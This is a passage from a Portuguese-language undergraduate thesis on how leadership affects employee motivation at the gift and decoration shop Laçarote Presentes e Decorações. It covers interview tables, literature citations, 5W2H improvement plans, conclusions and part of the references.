<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">Com base na análise do Quadro 12, o líder da Laçarote Presentes e Decorações demonstra um forte compromisso em estar disponível para oferecer suporte e orientação aos colaboradores, investindo esforço máximo, disciplina e comprometimento. Ele se dedica integralmente à equipe, garantindo que esteja sempre acessível quando necessário.</p>



<p class="wp-block-paragraph">Segundo Daniel Goleman (2013), líderes eficazes não apenas dirigem tarefas, mas criam conexões emocionais com suas equipes, estando presentes, acessíveis e comprometidos com o crescimento dos colaboradores. Mesmo que os líderes não possam mudar quem as pessoas são, eles têm o papel de criar um ambiente que favoreça a descoberta pessoal e a liberdade de se expressar. Uma liderança eficaz está diretamente ligada à capacidade de reconhecer talentos, estimular seu desenvolvimento e questionar padrões já estabelecidos. Além disso, é fundamental que o líder esteja sempre disposto a renovar suas práticas e demonstrar real interesse em apoiar o crescimento profissional e pessoal de sua equipe.</p>



<p class="wp-block-paragraph">Nesse cenário, a inteligência emocional exerce um papel essencial, já que permite ao líder reconhecer e lidar com suas próprias emoções, mantendo o equilíbrio diante dos desafios. Essa autogestão facilita a empatia e a compreensão das emoções dos membros da equipe, contribuindo para um ambiente de trabalho mais saudável e colaborativo.</p>



<p class="wp-block-paragraph">Segundo José Roberto Marques (2021), a inteligência emocional é uma competência indispensável para a liderança moderna, pois permite que o líder desenvolva empatia, saiba escutar ativamente e esteja verdadeiramente presente para apoiar sua equipe diante dos desafios.</p>



<p class="wp-block-paragraph">Segundo Cortella (2021), indivíduos que conseguem gerir suas emoções com equilíbrio favorecem relações mais saudáveis e ambientes de maior respeito e colaboração. Líderes com inteligência emocional não apenas oferecem suporte aos seus colaboradores, como também cultivam uma cultura organizacional mais saudável e cooperativa. A capacidade de gerenciar as próprias emoções é fundamental para fortalecer os vínculos interpessoais e impulsionar o desenvolvimento dos membros da equipe.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 13 &#8211; Estratégias de avaliação</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Quais estratégias você utiliza para reconhecer e valorizar o esforço e os resultados da sua equipe?</td></tr><tr><td>Líder&nbsp;</td><td>“[…] Através de uma análise sobre o potencial e desempenho de cada colaborador […].”</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">A resposta do Quadro 13 indica que o líder da Laçarote Presentes e Decorações reconhece e valoriza o esforço e os resultados da equipe por meio da avaliação do desempenho e do potencial de cada colaborador. Ele observa atentamente o desempenho e o potencial dos membros da equipe para garantir um reconhecimento adequado.</p>



<p class="wp-block-paragraph">Segundo Chiavenato (2020), a avaliação de desempenho é uma ferramenta fundamental para analisar o comportamento e os resultados dos colaboradores no trabalho, permitindo à organização identificar pontos fortes, necessidades de desenvolvimento e alinhar os esforços individuais aos objetivos estratégicos.</p>



<p class="wp-block-paragraph">Para Dutra (2016), a avaliação de desempenho é um processo contínuo e estruturado que busca alinhar o desenvolvimento dos colaboradores às estratégias da organização, promovendo feedbacks frequentes e identificação de competências essenciais para o crescimento profissional e organizacional.</p>



<p class="wp-block-paragraph">De acordo com Maximiano (2012), a avaliação de desempenho é uma ferramenta administrativa que permite acompanhar, medir e melhorar o desempenho dos colaboradores, servindo como base para decisões sobre promoções, treinamentos e desenvolvimento organizacional.</p>



<p class="wp-block-paragraph">4.4&nbsp; ENTREVISTA COM COLABORADORES</p>



<p class="wp-block-paragraph">Após a coleta de dados junto aos líderes, torna-se igualmente importante ouvir os colaboradores, a fim de construir uma compreensão mais ampla sobre a atuação da liderança dentro da empresa. O retorno oferecido pelos membros da equipe contribui significativamente para apontar aspectos que podem ser aprimorados, além de orientar eventuais ajustes nos estilos de liderança adotados. Ao reunir percepções e experiências dos colaboradores, é possível avaliar de forma mais precisa como as práticas de liderança estão sendo interpretadas no cotidiano da equipe. Esse tipo de análise permite identificar oportunidades de melhoria que favoreçam tanto o desempenho profissional quanto o bem-estar no ambiente de trabalho. Com essas informações em mãos, a organização pode desenvolver estratégias mais assertivas e promover um processo contínuo de aperfeiçoamento na gestão de pessoas.</p>



<p class="wp-block-paragraph">Assim, foram realizadas novas perguntas semiestruturadas, para realização da entrevista:&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 14 &#8211; Liderança Eficaz</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Trazendo que o conceito de uma liderança eficaz seja definido como a capacidade de influenciar, inspirar e guiar um grupo de pessoas em direção a objetivos comuns. Você acredita que uma liderança eficaz poderá ajudar no seu desempenho profissional?</td></tr><tr><td>Colaborador 1</td><td>“[…] Sim, através dela posso crescer como professional […]”</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 15 &#8211; Liderança Eficaz</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Trazendo que o conceito de uma liderança eficaz seja definido como a capacidade de influenciar, inspirar e guiar um grupo de pessoas em direção a objetivos comuns. Você acredita que uma liderança eficaz poderá ajudar no seu desempenho profissional?</td></tr><tr><td>Colaborador 2</td><td>“[…]&nbsp; Sim, com certeza […]”</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">As respostas dos quadros 14 e 15 demonstram que os colaboradores da Laçarote Presentes e Decorações acreditam que uma liderança eficaz pode contribuir positivamente para seu desempenho profissional. Os entrevistados reconhecem que ser influenciado, inspirado e guiado por uma liderança eficaz os ajuda a crescer e se desenvolver em suas carreiras.</p>



<p class="wp-block-paragraph">De acordo com Bergamini (2009), a eficácia do líder está relacionada à sua capacidade de compreender as necessidades da equipe e alinhar os objetivos individuais aos da organização, promovendo satisfação mútua e resultados positivos para todos os envolvidos. Tudo isso mostra as funções motivacionais do líder em seu dinâmico relacionamento com sua equipe.</p>



<p class="wp-block-paragraph">Segundo Motta (2013), a liderança eficaz está diretamente ligada à capacidade do líder de mobilizar pessoas em torno de um propósito comum, incentivando o desenvolvimento contínuo da equipe e preparando-a para enfrentar desafios organizacionais futuros.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 16 &#8211; Comunicação entre colaborador e Líder</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Você tem facilidade em comunicar-se com seu líder? Explique.</td></tr><tr><td>Colaborador 1</td><td>“[…] Sim, é bem tranquilo na hora de me comunicar […]’’</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><em>”</em>FONTE: Dados da pesquisa (2025)</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 17 &#8211; Comunicação entre colaborador e Líder</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Você tem facilidade em comunicar-se com seu líder? Explique.</td></tr><tr><td>Colaborador 2</td><td>“[…] Depende, tem dias que não […]’’</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">As respostas dos Quadros 16 e 17 revelam que um dos colaboradores da Laçarote Presentes e Decorações considera a comunicação com seu líder fácil, caracterizando-os como tranquilos e acessíveis, já o outro colaborador tem dificuldades em alguns casos.</p>



<p class="wp-block-paragraph">Essa perspectiva também é abordada por Chiavenato (2020), que ressalta que a comunicação eficaz dentro das organizações é um fator determinante para o alinhamento das equipes, fortalecimento da liderança e alcance dos objetivos organizacionais. &nbsp;</p>



<p class="wp-block-paragraph">De acordo com Marras (2017), a comunicação nas organizações, tanto nos grupos formais quanto informais, é essencial para o alinhamento das metas e para o bom desempenho coletivo, sendo fortemente influenciada pela qualidade das relações interpessoais e pelo clima organizacional.</p>



<p class="wp-block-paragraph">Por fim, como define o Novo Dicionário Aurélio da Língua Portuguesa (Ferreira, 2010), comunicação envolve “a capacidade de trocar ou discutir ideias” e “convivência”, elementos fundamentais para um bom entendimento entre as pessoas.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 18 &#8211; Comunicação entre colaborador e líder</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Como você se sente ao expressar suas opiniões e ideias para seu líder?</td></tr><tr><td>Colaborador 1</td><td>“[…] Tranquilo […]’’</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 19 &#8211; Comunicação entre colaborador e líder</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Como você se sente ao expressar suas opiniões e ideias para seu líder?</td></tr><tr><td>Colaborador 2</td><td>“[…] Me sinto bem […]’’</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">As respostas obtidas nos Quadros 18 e 19 revelam que os colaboradores da Laçarote Presentes e Decorações se sentem à vontade para expressar suas opiniões e ideias aos líderes.</p>



<p class="wp-block-paragraph">De acordo com Chiavenato (2020), as atitudes e comportamentos dos líderes exercem grande influência sobre seus colaboradores, moldando não apenas o ambiente de trabalho, mas também a motivação, o desempenho e o desenvolvimento profissional das equipes.</p>



<p class="wp-block-paragraph">Lacombe (2019) reforça que, mais do que domínio técnico, o líder eficaz deve desenvolver competências relacionais, como empatia, escuta ativa e capacidade de inspirar pessoas, elementos fundamentais para promover o engajamento e a produtividade no ambiente organizacional.<em> </em>Liderar grupos humanos é, essencialmente, uma questão de foco nas pessoas, e não apenas nas estruturas ou processos organizacionais. &nbsp;</p>



<p class="wp-block-paragraph">Nesse mesmo sentido, Marras (2017) reforça que líderes que não desenvolvem boas relações interpessoais tendem a criar um ambiente de trabalho carregado de estresse, inseguranças e desmotivação, o que impacta diretamente na produtividade e no clima organizacional.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 20 &#8211; Incentivo dos Líderes</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Como o líder da empresa da liberdade de opinião e incentive a equipe?</td></tr><tr><td>Colaborador 1</td><td>“[…] Através de oportunidades de evolução, bate papos, promoções, reuniões. […]’’</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 21 &#8211; Incentivo dos Líderes</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Como o líder da empresa da liberdade de opinião e incentive a equipe?</td></tr><tr><td>Colaborador 2</td><td>“[…] Através do dia a dia, vãodemonstrando e incentivando a demonstrara opinião […]’’</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">‘FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">As respostas dos Quadros 20 e 21 indicam que o líder da Laçarote Presentes e Decorações incentiva a liberdade de opinião e motiva sua equipe por meio de diversas práticas, como oportunidades de desenvolvimento, bate-papos informais, promoções, conversas diárias e reuniões. Essas abordagens criam um ambiente propício onde os colaboradores se sentem encorajados a expressar suas ideias e opiniões, fundamental para a construção de um clima organizacional positivo.</p>



<p class="wp-block-paragraph">De acordo com Marras (2017), práticas de reconhecimento, como feedbacks positivos, bonificações e valorização pública, são fundamentais para reforçar comportamentos produtivos e fortalecer o comprometimento dos colaboradores, impactando diretamente na motivação e no desempenho. O reconhecimento, associado à teoria do reforço, recompensa ações positivas logo após sua ocorrência, estimulando sua repetição e, consequentemente, motivando ainda mais a equipe.</p>



<p class="wp-block-paragraph">Chiavenato (2020) reforça que, na atualidade, espera-se que os líderes sejam agentes de influência, capazes de inspirar, engajar e desenvolver pessoas, priorizando a construção de relacionamentos e o fortalecimento da equipe, mais do que a simples execução de tarefas. Para ser um gerente bem-sucedido, é necessário ter uma necessidade de influência maior do que a de realização pessoal.</p>



<p class="wp-block-paragraph">Lacombe (2019) afirma que o líder contemporâneo deve possuir proatividade, resiliência, capacidade de comunicação e visão estratégica, além de saber criar e gerir redes de cooperação e interação dentro das organizações, conduzindo seus times em direção aos objetivos estabelecidos.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 22 &#8211; Suporte da Liderança</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Como você percebe que o seu líder está sempre disponível para oferecer suporte e orientação quando necessário?</td></tr><tr><td>Colaborador 1</td><td>“[…] Ele deixa bem claro e da bastanteLiberdade […].’’</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 23 &#8211; Suporte da Liderança</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Como você percebe que o seu líder está sempre disponível para oferecer suporte e orientação quando necessário?</td></tr><tr><td>Colaborador 2</td><td>“[…] Deixa bem claro que sempre está disponível […].’’</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">Os resultados obtidos nos quadros 22 e 23 indicam que os colaboradores da Laçarote Presentes e Decorações percebem seus líderes como frequentemente disponíveis para oferecer suporte e orientação, eles destacam a clareza com que o líder se coloca à disposição, além de proporcionarem liberdade em suas interações.</p>



<p class="wp-block-paragraph">Segundo Vergara (2021), líderes que mantêm uma comunicação aberta e incentivam a participação dos colaboradores criam ambientes mais colaborativos e produtivos, onde as pessoas se sentem valorizadas, ouvidas e mais motivadas a contribuir com ideias e soluções.</p>



<p class="wp-block-paragraph">De acordo com Maximiano (2016), líderes eficazes são aqueles que adaptam sua forma de conduzir a equipe de acordo com o perfil dos liderados, considerando fatores como: competências, experiências e níveis de motivação, ajustando o grau de supervisão e autonomia conforme a necessidade.</p>



<p class="wp-block-paragraph">Rego (2019) afirma que a empatia é uma competência-chave na liderança, pois permite que o gestor compreenda as emoções e as necessidades dos membros da equipe, criando vínculos mais fortes, favorecendo a cooperação e contribuindo para um ambiente organizacional mais harmônico e eficiente.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 24 &#8211; Aprimoramento da liderança</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Como o líder pode melhorar suas práticas de liderança visando a motivação dos colaboradores?</td></tr><tr><td>Colaborador 1</td><td>“[…] Observar oportunidades de melhorias[…]’’</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 25 &#8211; Aprimoramento da liderança</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Como o líder pode melhorar suas práticas de liderança visando a motivação dos colaboradores?</td></tr><tr><td>Colaborador 2</td><td>“[…] Feedback constante, reconhecimento e recompensas […]’’.&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">Conforme apontam as respostas dos quadros 24 e 25, os colaboradores Laçarote Presentes e Decorações sugerem maneiras pelas quais os líderes poderiam aprimorar suas práticas de liderança e fortalecer a motivação da equipe. Dentre as sugestões, a importância de identificar oportunidades de melhoria, fornecer <em>feedback </em>contínuo, oferecer reconhecimento e recompensas.</p>



<p class="wp-block-paragraph">Segundo Vergara (2021), a liderança eficaz se manifesta quando o líder compreende as necessidades dos colaboradores e direciona seus esforços para promover seu desenvolvimento, estimulando a autonomia e o engajamento, fatores essenciais para a realização dos objetivos organizacionais. Essa abordagem, que coloca o desenvolvimento do colaborador no centro da prática de liderança, é um elemento fundamental para o engajamento e a motivação.</p>



<p class="wp-block-paragraph">Maximiano (2016) ressalta que a liderança envolve mais do que simplesmente comandar; ela exige adaptação constante aos desafios do ambiente, considerando as transformações organizacionais e sociais, além de incentivar a participação e o desenvolvimento dos colaboradores. Esse entendimento destaca a necessidade de uma liderança adaptável, que responda às demandas do contexto e, ao mesmo tempo, valorize as contribuições de cada colaborador, criando um espaço propício para a inovação e o comprometimento.</p>



<p class="wp-block-paragraph">Chiavenato (2020) reforça que a liderança estratégica é fundamental nas organizações modernas, especialmente nos níveis de gestão sênior, pois impacta diretamente na capacidade da empresa de alcançar seus objetivos, melhorar seus processos internos e criar um ambiente que favoreça tanto a inovação quanto a alta <em>performance</em>. Esses líderes são muito importantes para o bom desempenho da empresa. Quando melhoram suas práticas de liderança, ajudam tanto no ambiente de trabalho quanto nos resultados da organização. Assim, líderes que se preocupam com as necessidades dos colaboradores e buscam sempre se aprimorar têm mais chances de alcançar bons resultados e criar um ambiente motivador e produtivo.</p>



<p class="wp-block-paragraph"><strong>5 PROPOSTAS DE MELHORIAS</strong></p>



<p class="wp-block-paragraph">Baseado nos resultados da pesquisa e nos tópicos abordados ao longo do estudo, fica claro a importância de um ambiente organizacional agradável e incentivador, tanto para os colaboradores quanto para a Laçarote Presentes e Decorações como um todo. Foi ressaltada a necessidade de um alinhamento eficaz entre as atividades desempenhadas e as expectativas de cada colaborador, visando uma maior satisfação e produtividade no ambiente de trabalho.</p>



<p class="wp-block-paragraph">Diante disso, é recomendado que a empresa conte com o apoio dos gestores e, se possível, de consultorias especializadas. Assim, fica mais fácil organizar as funções e responsabilidades, tornando a gestão mais eficiente e profissional, além de fortalecer a credibilidade da empresa.</p>



<p class="wp-block-paragraph">Melhorar o ambiente de trabalho e cuidar do bem-estar da equipe depende muito de uma gestão que escuta e colocar em prática as sugestões que surgem. Valorizar as pessoas é fundamental para manter a motivação e garantir que os resultados sejam cada vez melhores.</p>



<p class="wp-block-paragraph">Pensando nisso, algumas ações são fundamentais para tornar o ambiente mais produtivo e colaborativo, como:</p>



<p class="wp-block-paragraph">a)                  Fazer pesquisas internas, pelo menos uma vez por ano, para entender como anda o clima organizacional e o nível de satisfação dos colaboradores. Isso ajuda a enxergar onde a empresa pode melhorar.</p>



<p class="wp-block-paragraph">b)                  Rever como as decisões são tomadas dentro da empresa, dando espaço para uma gestão mais aberta, participativa e que considere a opinião da equipe.</p>



<p class="wp-block-paragraph">c)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Criar um programa de acompanhamento individual, para que cada colaborador entenda melhor seu papel, suas responsabilidades e como o trabalho dele impacta no todo, reduzindo mal-entendidos.</p>



<p class="wp-block-paragraph">d)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Investir no desenvolvimento dos líderes, oferecendo cursos, treinamentos e capacitações para que eles saibam gerir pessoas de forma mais humana, acolhedora e eficiente.</p>



<p class="wp-block-paragraph">e)                  Trabalhar a integração e o fortalecimento das relações na equipe, com ações que promovam mais parceria, confiança e colaboração entre os colegas.</p>



<p class="wp-block-paragraph">f)                    E, claro, continuar com tudo que já vem funcionando bem, mas sem deixar de buscar novas formas de tornar o ambiente de trabalho cada vez melhor.</p>



<p class="wp-block-paragraph">Todas essas práticas são fundamentais para manter um ambiente mais saudável, produtivo e dinâmico. Além disso, é muito importante reforçar o quanto faz diferença cultivar boas relações no dia a dia da empresa, incentivando a troca de experiências e o crescimento conjunto.</p>



<p class="wp-block-paragraph">Por fim, uma sugestão bem interessante para complementar tudo isso é estimular o uso do <em>autofeedback</em>. Ele funciona como uma ferramenta onde cada pessoa faz uma reflexão sobre sua própria vida, seja no lado profissional, pessoal, nas amizades ou nos relacionamentos. Isso ajuda muito no autoconhecimento e no desenvolvimento, tanto dentro quanto fora do trabalho.</p>



<p class="wp-block-paragraph">Segundo Chiavenato (2014), a autoavaliação permite que as pessoas identifiquem suas competências, pontos fortes e aspectos que precisam ser desenvolvidos, funcionando como um instrumento essencial para o crescimento pessoal e profissional.</p>



<p class="wp-block-paragraph">De acordo com Vergara (2016), os instrumentos de avaliação pessoal, como questionários e formulários, são fundamentais para mapear traços de personalidade, identificar oportunidades de desenvolvimento e traçar ações que levem à melhoria contínua, tanto no âmbito pessoal quanto profissional.</p>



<p class="wp-block-paragraph">O <em>autofeedback</em> pode ser aplicado diariamente, semanalmente ou mensalmente, e sua aplicação é adaptada de acordo com a área que a pessoa deseja focar, como finanças, família ou carreira. Para Chiavenato (2014), quanto mais precisa e honesta for a autoavaliação, maior será a possibilidade de que o indivíduo compreenda seus pontos fortes e fracos, tomando as rédeas do próprio desenvolvimento e buscando superar constantemente suas limitações.</p>



<p class="wp-block-paragraph">Outro benefício do <em>autofeedback</em> é que, quem faz o uso das ferramentas entendi da utilidade pode estimular outras pessoas a utilizar também, independente de qual for a área de aplicação. Segundo Cortella (2018), as pessoas podem e devem servir como inspiração umas para as outras, mas a comparação constante é um erro, pois cada indivíduo possui sua própria história, seu tempo e seus desafios.</p>



<p class="wp-block-paragraph">Assim segue abaixo imagem de um modelo disponível para aplicação da ferramenta do <em>autofeedback:</em></p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1 &#8211;</strong> Modelo de<em> Autofeedback:</em></p>



<figure class="wp-block-image aligncenter"><img decoding="async" src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcdYURPwnvwl5YlZOc5kwcpUiZmC1959L0pyjjOv12tXNIdW1BZMRWvOAH3DluWqmcgsHXiDONf8Z4HrasaGzSTYghcssmTRxK8h4D1UPNiwWc3zIOhS_ASJYtzA_GKdjVfCkOx?key=LropHF1digYFf2khFSBLqQ" alt=""/></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: IBC (2018)</p>



<p class="wp-block-paragraph">Por fim, é recomendável o uso de ferramentas como o método 5W2H para definir as ações de melhoria. Essa metodologia, descrita por Oliveira (1995), estrutura as ações por meio de perguntas como: O que será feito? Por que deve ser feito? Onde será executado? Quando será realizado? Quem realizará?&nbsp; Como será feito? E Quanto custará? Isso permite uma implementação mais eficiente das estratégias dentro da organização.</p>



<p class="wp-block-paragraph"><strong>Quadro 26 &#8211; Ações voltadas ao desenvolvimento profissional do líder, com o objetivo de aprimorar a motivação da equipe.</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><em>What </em>(o que será feito?)</td><td>Desenvolver ações de capacitação e treinamento para o líder, focando em técnicas de motivação e engajamento da equipe.</td></tr><tr><td><em>Why</em> (por que será feito?)</td><td>Para aprimorar a motivação da equipe, aumentar a produtividade e melhorar o ambiente de trabalho.</td></tr><tr><td><em>Where </em>(onde será feito?)</td><td>Nas instalações da Laçarote Presentes e Decorações, quando necessário, em locais externos de treinamento.</td></tr><tr><td><em>When</em> (quando será feito?)</td><td>2 vezes ao ano</td></tr><tr><td><em>Who </em>(por quem será feito?)</td><td>O líder, em colaboração com consultores especializados em desenvolvimento de liderança.</td></tr><tr><td><em>How</em> (como será feito?)</td><td>Por meio de workshops, palestras e treinamentos práticos que abordem estratégias de motivação e gestão de equipe.</td></tr><tr><td><em>How Much</em> (quanto vai custar?)</td><td>O investimento será determinado com base no orçamento disponível, variando treinamentos nos valores de R$2.000,00 à R$ 3.000,00, incluindo custos com consultores e materiais de treinamento.</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 27 &#8211; Ações de melhorias de comunicações, para desenvolvimento pessoal e profissional dos colaboradores.</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><em>What</em> (o que será feito?)</td><td>Atividades desenvolvidas para aperfeiçoamento da comunicação.</td></tr><tr><td><em>Why</em> (por que será feito?)</td><td>Para obter um melhor desempenho entre os membros da equipe, com o intuito de ter uma comunicação clara e objetiva.&nbsp;</td></tr><tr><td><em>Where</em> (onde será feito?)</td><td>Na organização e fora através de cursos.</td></tr><tr><td><em>When</em> (quando será feito?)</td><td>2 vezes ao ano</td></tr><tr><td><em>Who</em> (por quem será feito?)</td><td>Profissional capacitado a desenvolver está tarefa.</td></tr><tr><td><em>How </em>(como será feito?)</td><td>O líder deve buscar profissionais qualificados especializados em aprimorar a comunicação, estabelecendo um contrato para implementar treinamentos Laçarote Presentes e Decorações. Dessa forma, todos os colaboradores participarão do processo, alinhando a comunicação interna e a interação com os clientes.</td></tr><tr><td><em>How Much</em> (quanto vai custar?)</td><td>O investimento será determinado com base no orçamento disponível, variando treinamentos nos valores de R$ 1.000,00 até R$5.000,00, incluindo custos com consultores e materiais de treinamento.</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2024)</p>



<p class="wp-block-paragraph"><strong>6. CONSIDERAÇÕES FINAIS</strong></p>



<p class="wp-block-paragraph">Este estudo teve como objetivo analisar o impacto da liderança na motivação dos colaboradores da Laçarote Presentes e Decorações, buscando compreender como o estilo de liderança adotado pelo líder influencia a satisfação, o engajamento e a produtividade no ambiente organizacional. A partir dos resultados obtidos, foi possível responder à pergunta-problema, alcançar os objetivos propostos e validar os pressupostos estabelecidos.</p>



<p class="wp-block-paragraph">Este trabalho propôs três objetivos específicos. O primeiro foi analisar as práticas de liderança adotadas pelo líder da Laçarote Presentes e Decorações e como essas práticas influenciam a motivação dos colaboradores. A partir das informações coletadas, constatou-se que a liderança exerce um impacto significativo na motivação dos colaboradores, influenciando diretamente seu desempenho e satisfação no trabalho. Os dados apontam que o estilo de liderança predominante é o transformacional aliado a uma liderança eficaz, conforme identificado nos quadros 4 e 5. Esse estilo se mostrou fundamental para promover um ambiente de colaboração, confiança e inspiração, elementos essenciais para o desenvolvimento organizacional.</p>



<p class="wp-block-paragraph">O segundo objetivo foi identificar o impacto da motivação dos colaboradores na qualidade do trabalho na Laçarote Presentes e Decorações. O estudo confirmou que a liderança exercida pelo líder é um fator decisivo para a motivação da equipe, influenciando positivamente tanto o desempenho individual quanto o coletivo. A prática de uma liderança transformacional, que combina inspiração e estímulo intelectual, destacou-se como essencial para alcançar melhores resultados organizacionais. Além disso, foram observadas práticas de liderança que se adaptam às necessidades da equipe, conforme ilustrado no quadro 4. Os colaboradores reconheceram a presença de um ambiente de apoio e inspiração, o que refletiu diretamente no aumento da motivação e da produtividade, como apontado no quadro 5.</p>



<p class="wp-block-paragraph">O terceiro objetivo consistiu em propor estratégias eficazes de liderança que podem ser implementadas pelo líder da Laçarote Presentes e Decorações para aprimorar a motivação dos colaboradores. Assim, foram sugeridas estratégias de melhoria,&nbsp; &nbsp; como treinamentos&nbsp; &nbsp; &nbsp; voltados para &nbsp; a&nbsp; &nbsp; comunicação&nbsp; &nbsp; &nbsp; eficaz,&nbsp; &nbsp; &nbsp; o desenvolvimento do <em>autofeedback</em> e o fortalecimento do reconhecimento dos esforços da equipe. O objetivo dessas estratégias é consolidar um ambiente organizacional mais engajado, satisfatório e produtivo.</p>



<p class="wp-block-paragraph">Os pressupostos do estudo foram validados. O primeiro pressuposto, de que a liderança eficaz energiza e motiva os colaboradores, criando um ambiente de trabalho mais produtivo e satisfatório, foi amplamente confirmado. O segundo pressuposto, de que a motivação influencia diretamente o comportamento e a performance organizacional, também foi validado pelos resultados, que demonstraram que um líder alinhado às necessidades da equipe promove melhores resultados.</p>



<p class="wp-block-paragraph">O estudo evidenciou que a liderança transformacional é um diferencial competitivo, especialmente quando o líder consegue combinar inspiração com atenção personalizada. Além disso, práticas como feedback contínuo, valorização dos esforços individuais e promoção de um ambiente de liberdade de expressão são essenciais para a construção de um clima organizacional saudável.</p>



<p class="wp-block-paragraph">Conclui-se que a Laçarote Presentes e Decorações pode utilizar os insights desta pesquisa para que seu líder revise as práticas de gestão e implemente melhorias que promovam o crescimento sustentável da organização, aumentando a satisfação dos colaboradores e a eficiência das operações. A liderança, nesse contexto, não é apenas uma ferramenta gerencial, mas um fator estratégico para o sucesso organizacional e para o bem-estar de todos os envolvidos.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">AGOSTINI, Júlio Cezar. <strong>A importância dos valores essenciais para os líderes</strong>. GazzConecta, 2 mar. 2023.</p>



<p class="wp-block-paragraph">ANDERSON, Michael H.; SUN, Peter Y. T. O impacto da liderança inclusiva no engajamento dos colaboradores e no comprometimento organizacional. <strong><em>Journal of Business Research</em></strong>, v. 121, p. 345-356, 2020. &nbsp;</p>



<p class="wp-block-paragraph">BARBETA, Pedro A. <strong>Estatística aplicada às ciências sociais</strong>. Florianópolis: EdUFSC, 1998. &nbsp;</p>



<p class="wp-block-paragraph">BARBOSA, L. C. F.; GAMBI, L. N.; GEROLAMO, M. C. A influência da liderança no desempenho organizacional: um estudo de caso. <strong>Revista Gestão &amp; Tecnologia</strong>, v. 17, n. 1, p. 1-20, 2017.</p>



<p class="wp-block-paragraph">BARROS, Aidil de Jesus Paes de; LEHFELD, Neide Aparecida de Souza. <strong>Projeto de pesquisa: propostas metodológicas.</strong> 9. ed. Petrópolis, RJ: Vozes, 1999. &nbsp;</p>



<p class="wp-block-paragraph">BARROS, Karla Lauane; BRONDANI, Roberta Ferreira. Comunicação Corporativa: A Importância da Comunicação na Gestão das Empresas. <strong>REGRAD &#8211; Revista Eletrônica de Graduação do UNIVEM, Marília-SP</strong>, v. 9, n. 1, p. 85-100, ago. 2016.</p>



<p class="wp-block-paragraph">BASS, Bernard M. <strong><em>The Bass Handbook of Leadership: Theory, Research, and Managerial Applications.</em></strong> 4. ed. New York: Free Press, 2008.</p>



